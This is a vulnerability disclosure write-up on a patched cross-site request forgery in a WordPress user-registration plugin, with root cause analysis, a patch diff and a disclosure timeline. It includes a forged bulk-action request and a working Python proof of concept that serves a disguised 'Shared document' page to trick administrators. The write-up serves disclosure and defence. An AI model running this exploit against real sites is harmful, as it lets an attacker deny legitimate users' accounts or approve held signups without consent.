CVE-2026-92978: User Registration & Membership Cross-Site Request Forgery to User Approval and Denial
TL;DR
- I found a cross-site request forgery in User Registration & Membership, a WordPress plugin with 50,000+ active installs.
- If a logged-in administrator opens a page the attacker controls, their browser approves pending signups or denies other users' accounts. The attacker doesn't need an account.
- The bulk Approve and Deny actions on the Users screen never checked the nonce the bulk form sends. Each row's links have their own handler that does check one, but an empty
new_roleparameter skips it and routes the request to the bulk handler. - A denied user is logged out on their next request and can't log back in or reset their password, and other administrators can be denied too.
- The issue affects User Registration & Membership
<= 5.2.8, is tracked as CVE-2026-92978, and was fixed in 5.3.0.
Summary
- CVE: CVE-2026-92978
- Product: User Registration & Membership
- Active Installs: 50,000+
- Vulnerability: Cross-Site Request Forgery to User Approval and Denial
- Affected Versions: <= 5.2.8
- Fixed In: 5.3.0
- CVSS Severity: 4.3 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Required Privilege: Unauthenticated
- Advisory: Wordfence
- Reported: August 10, 2026
- NVD Published: October 17, 2026
Introduction
User Registration & Membership can hold new signups until an administrator approves them. [A]I went through every place in the plugin that can change a user's approval status.
Most of them are locked down. The approve and deny links the plugin emails to administrators only work with a per-user token, and the links on each row of the Users screen carry a nonce that the plugin checks.
The bulk versions of those actions, in the Bulk actions dropdown on the same screen, never checked a nonce. The first request I forged still came back with a 403, because the row link handler caught it first. It took one extra parameter to get it through to the bulk handler.
Root Cause Analysis
Two Handlers, One Hook
The Users screen's approval actions are handled by two methods in User Registration & Membership 5.2.8 includes/admin/class-ur-admin-user-list-manager.php, both attached to the same hook.
// includes/admin/class-ur-admin-user-list-manager.php (__construct)
add_action( 'load-users.php', array( $this, 'trigger_query_actions' ) ); // [1] Runs first.
// ... notice, filter and dropdown hooks omitted.
add_action( 'load-users.php', array( $this, 'trigger_bulk_action' ) ); // [2] Runs second.
wp-admin/users.php loads wp-admin/admin.php before any of its own code, and admin.php fires load-users.php. So both handlers see the request before the Users screen does. They run in the order they were added, trigger_query_actions() at [1] and then trigger_bulk_action() at [2].
The first one serves the Approve and Deny links on each user's row. Those links are built in create_quick_links(), and the Deny link is built the same way as the Approve link below.
// includes/admin/class-ur-admin-user-list-manager.php (create_quick_links)
$approve_link = add_query_arg(
array(
'action' => 'approve',
'user' => $user->ID,
)
);
$approve_link = remove_query_arg( array( 'new_role' ), $approve_link ); // [3] Strips new_role.
$approve_link = wp_nonce_url( $approve_link, 'ur_user_change_status' ); // [4] Adds the row nonce.
The link drops any new_role parameter at [3] and gets a ur_user_change_status nonce at [4]. Here's the handler that receives it, trigger_query_actions().
// includes/admin/class-ur-admin-user-list-manager.php (trigger_query_actions)
public function trigger_query_actions() {
$action = isset( $_REQUEST['action'] ) ? sanitize_key( $_REQUEST['action'] ) : false;
// ... returns early for a multisite list-mode POST, omitted.
if ( ! empty( $action ) && in_array( $action, array( 'approve', 'deny' ) ) && ! isset( $_GET['new_role'] ) ) { // [5] Only without new_role.
check_admin_referer( 'ur_user_change_status' ); // [6] Row nonce checked.
// ... changes one user's status, then redirects and exits.
}
}
The condition at [5] only lets it act on approve and deny when new_role is missing from the query string, and only then does it check the nonce at [6]. The row links never carry new_role, but the Users table form always does. Core puts a "Change role to…" dropdown with that name next to Bulk actions, and its first option is empty (class-wp-users-list-table.php). A request with new_role in it, even an empty one, skips [6] and is left for trigger_bulk_action().
The Bulk Handler
trigger_bulk_action() handles submissions from the Bulk actions dropdown, where the plugin adds Approve, Deny and Resend Verification Email.
// includes/admin/class-ur-admin-user-list-manager.php (trigger_bulk_action)
public function trigger_bulk_action() {
$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$action = $wp_list_table->current_action(); // [7] Action from the request.
$redirect = 'users.php';
// ... returns unless the action is approve, deny or await_confirmation.
// Check if the current user has permissions to change approvation statuses.
if ( ! UR_Admin_User_Manager::is_user_allowed_to_change_status() ) { // [8] Capability check only.
throw new Exception( 'You have not enough permissions to perform a bulk action on users approval status' );
}
// ... redirects if users is empty, then maps approve to 1 and deny to -1.
$userids = wp_unslash( $_REQUEST['users'] ); // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$c = 0;
foreach ( $userids as $id ) {
$id = (int) $id;
if ( 'await_confirmation' == $action ) {
// ... resends verification emails, omitted.
} else {
$user_manager = new UR_Admin_User_Manager( $id );
// For each user, check if the current user can change him status.
if ( ! $user_manager->can_status_be_changed_by( get_current_user_id() ) ) {
continue;
}
$user_manager->save_status( $status ); // [9] Writes the new status.
}
++$c;
}
wp_safe_redirect( add_query_arg( $query_arg, $c, $redirect ) );
exit();
}
The action at [7] comes from current_action(), which returns the action value from the request (class-wp-list-table.php). Before writing anything, the method only checks capability at [8], asking whether the logged-in user has edit_users. In a forged request, the logged-in user is the administrator whose browser sent it, so the check passes. There's no nonce or referer check anywhere in the method. The line that reads users carries a phpcs:ignore for WordPress.Security.NonceVerification, which turns off the coding standards warning about reading request data without a nonce check.
For each ID, can_status_be_changed_by() skips the administrator's own account and stops a non-administrator from changing an administrator (class-ur-admin-user-manager.php). With an administrator as the victim, every other account passes, and save_status() at [9] writes 1 for approve or -1 for deny to the ur_user_status user meta (class-ur-admin-user-manager.php).
Core Leaves Custom Bulk Actions to the Plugin
Core verifies its bulk-users nonce only inside its own cases (promote, resetpassword, delete and remove). Any other action falls through to default in WordPress 7.1.3 wp-admin/users.php.
// wp-admin/users.php (WordPress 7.1.3)
default:
// ... redirects a stale _wp_http_referer, omitted.
if ( $wp_list_table->current_action() && ! empty( $_REQUEST['users'] ) ) { // [10] No nonce check on this path.
$screen = get_current_screen()->id;
$sendback = wp_get_referer();
$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
/** This action is documented in wp-admin/edit.php */
$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $wp_list_table->current_action(), $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $sendback );
exit;
}
At [10], a custom action with a users list goes straight to the handle_bulk_actions-users filter without a nonce check, so a plugin that adds its own bulk action has to verify the nonce itself. The plugin's handler exits before users.php gets this far. The Wordfence description says that exit() skips core's bulk nonce check, but for approve and deny there's no core check to skip.
Impact
When a logged-in administrator opens the attacker's page, the attacker can approve or deny accounts as that administrator, with no account of their own. One request can cover several accounts by repeating users[]. Approving releases signups held back by a form that requires admin approval, so they can log in straight away.
Denying works on any account except the administrator's own, including other administrators and users who never registered through the plugin. The plugin logs a denied user out on their next request (ur_check_is_denied()). It then rejects their login with "Your account has been denied." (check_status_on_login()) and refuses a password reset (allow_password_reset()).
The attacker can't read anything or change roles, and an administrator can reverse either change from the Users screen once they spot it. The weakness is Cross-Site Request Forgery, CWE-352.
Exploitation
Preconditions
- User Registration & Membership
<= 5.2.8is active. - A logged-in administrator opens a page the attacker controls.
- The attacker knows the user IDs they want to approve or deny.
Manual Request
The forged request is a Bulk actions submission with no nonce.
GET /wp-admin/users.php?action=deny&users%5B%5D=7&new_role= HTTP/1.1
Host: target.example
Coming from the attacker's site, it only carries the administrator's cookies as a top-level navigation, like a clicked link or a page that redirects the tab. WordPress sets its login cookies with no SameSite attribute, so Chrome treats them as Lax and leaves them off cross-site image and iframe requests.
PoC
The PoC accompanying this writeup builds that URL from the action and user IDs you give it, then serves a page that redirects the visiting administrator's tab to it.
#!/usr/bin/env python3
"""Serve a CSRF page for the User Registration & Membership user-status bulk action.
No attacker account is required. The victim must be signed in to the target as an
administrator and visit the page printed by this script. The page performs a
top-level navigation because modern browsers do not normally attach Lax cookies
to cross-site image or other subresource requests.
Provide only known valid user IDs. An unknown ID makes the vulnerable handler
throw and can stop later IDs in the same request from being processed.
"""
from __future__ import annotations
import argparse
import html
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlencode
def build_target(base_url: str, action: str, user_ids: list[int]) -> str:
query: list[tuple[str, str]] = [("action", action)]
query.extend(("users[]", str(user_id)) for user_id in user_ids)
query.append(("new_role", ""))
return f"{base_url.rstrip('/')}/wp-admin/users.php?{urlencode(query)}"
def main() -> None:
parser = argparse.ArgumentParser(
description="Serve an unauthenticated CSRF page that forces User Registration & Membership to approve or deny known user IDs through an administrator's browser."
)
parser.add_argument("--url", default="http://localhost:8090", help="target site base URL")
parser.add_argument("--action", choices=("approve", "deny"), required=True, help="status action to force")
parser.add_argument("--user-id", action="append", type=int, required=True, help="known valid target user ID; repeat for multiple users")
parser.add_argument("--bind", default="127.0.0.1", help="address on which to serve the attacker page")
parser.add_argument("--port", type=int, default=8000, help="port on which to serve the attacker page")
args = parser.parse_args()
if any(user_id < 1 for user_id in args.user_id):
parser.error("every --user-id must be a positive integer")
target = build_target(args.url, args.action, args.user_id)
script_target = json.dumps(target)
escaped_target = html.escape(target, quote=True)
body = f"""<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><title>Shared document</title></head>
<body>
<p>Opening the shared document...</p>
<script>window.location.replace({script_target});</script>
<noscript><a href="{escaped_target}">Continue</a></noscript>
</body>
</html>
""".encode("utf-8")
class Handler(BaseHTTPRequestHandler):
def do_GET(self) -> None: # noqa: N802
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, _format: str, *args: object) -> None:
return
victim_url = f"http://{args.bind}:{args.port}/"
print(f"[+] CSRF page ready at {victim_url}")
print("[*] Visit that page while signed in to the target as an administrator.")
print("[*] The page will make a top-level navigation to the nonce-less bulk action.")
print(f"[*] Target request: {target}")
server = HTTPServer((args.bind, args.port), Handler)
server.handle_request()
server.server_close()
print("[+] Attacker page delivered.")
if __name__ == "__main__":
main()
Pass only IDs that exist. An unknown ID makes the plugin throw an exception partway through the loop, so later IDs in the same request are left unchanged. Start the server, then open the printed URL as a logged-in administrator.
python3 cve-2026-92978.py \
--url http://localhost:8090 \
--action deny \
--user-id 7
[+] CSRF page ready at http://127.0.0.1:8000/
[*] Visit that page while signed in to the target as an administrator.
[*] The page will make a top-level navigation to the nonce-less bulk action.
[*] Target request: http://localhost:8090/wp-admin/users.php?action=deny&users%5B%5D=7&new_role=
[+] Attacker page delivered.
Demo
I ran the PoC twice against 5.2.8 on WordPress 7.1.3. The first run denied long_time_member, an ordinary Subscriber. The second approved pending_signup, which was waiting on a form that requires admin approval. Each time, the administrator's Chromium went from the attacker page on 127.0.0.1:8000 to the forged URL on localhost:8090 and landed back on the Users screen. The browser treats those two hosts as different sites. After the second run, the screen shows both changes below the plugin's approval notice.

pending_signup can then log in, and long_time_member's next login gets the plugin's denial error.

Patch Diffing
User Registration & Membership 5.3.0 adds a nonce check to trigger_bulk_action().
// includes/admin/class-ur-admin-user-list-manager.php (trigger_bulk_action)
return;
}
+ check_admin_referer( 'bulk-users' );
+
// Check if the current user has permissions to change approvation statuses.
if ( ! UR_Admin_User_Manager::is_user_allowed_to_change_status() ) {
throw new Exception( 'You have not enough permissions to perform a bulk action on users approval status' );
bulk-users is the nonce core already prints into the Users table form (class-wp-list-table.php), so a real Bulk actions submission still goes through. The PoC's request now stops at WordPress's "The link you followed has expired." page with a 403. The new_role condition in trigger_query_actions() hasn't changed, but every request it hands over now meets this check. The 5.3.0 changelog lists it as "Bulk user status changes require a valid security check."
Remediation
Update to User Registration & Membership 5.3.0 or later.
Disclosure Timeline
- August 10, 2026: Reported to the Wordfence bug bounty program.
- September 14, 2026: Triage started.
- September 17, 2026: Report validated and CVE-2026-92978 assigned.
- September 18, 2026: Bounty awarded ($17).
- October 12, 2026: User Registration & Membership 5.3.0 released, adding a nonce check to the bulk status handler.
- October 16, 2026: Published by Wordfence as CVE-2026-92978.
- October 17, 2026: Indexed by NVD.
Conclusion
The plugin checked a nonce on its single-user Approve and Deny links but not on the bulk ones. Any request that includes new_role takes the bulk path, and the fix checks the bulk form's nonce there.
References
- Wordfence: User Registration & Membership <= 5.2.8 - Cross-Site Request Forgery to trigger_bulk_action()
- NVD: CVE-2026-92978
- WordPress.org: User Registration & Membership
- User Registration & Membership: 5.3.0 changelog
- WordPress Developer Resources: check_admin_referer()
- WordPress Developer Resources: handle_bulk_actions-{$screen}
- MITRE: CWE-352 Cross-Site Request Forgery (CSRF)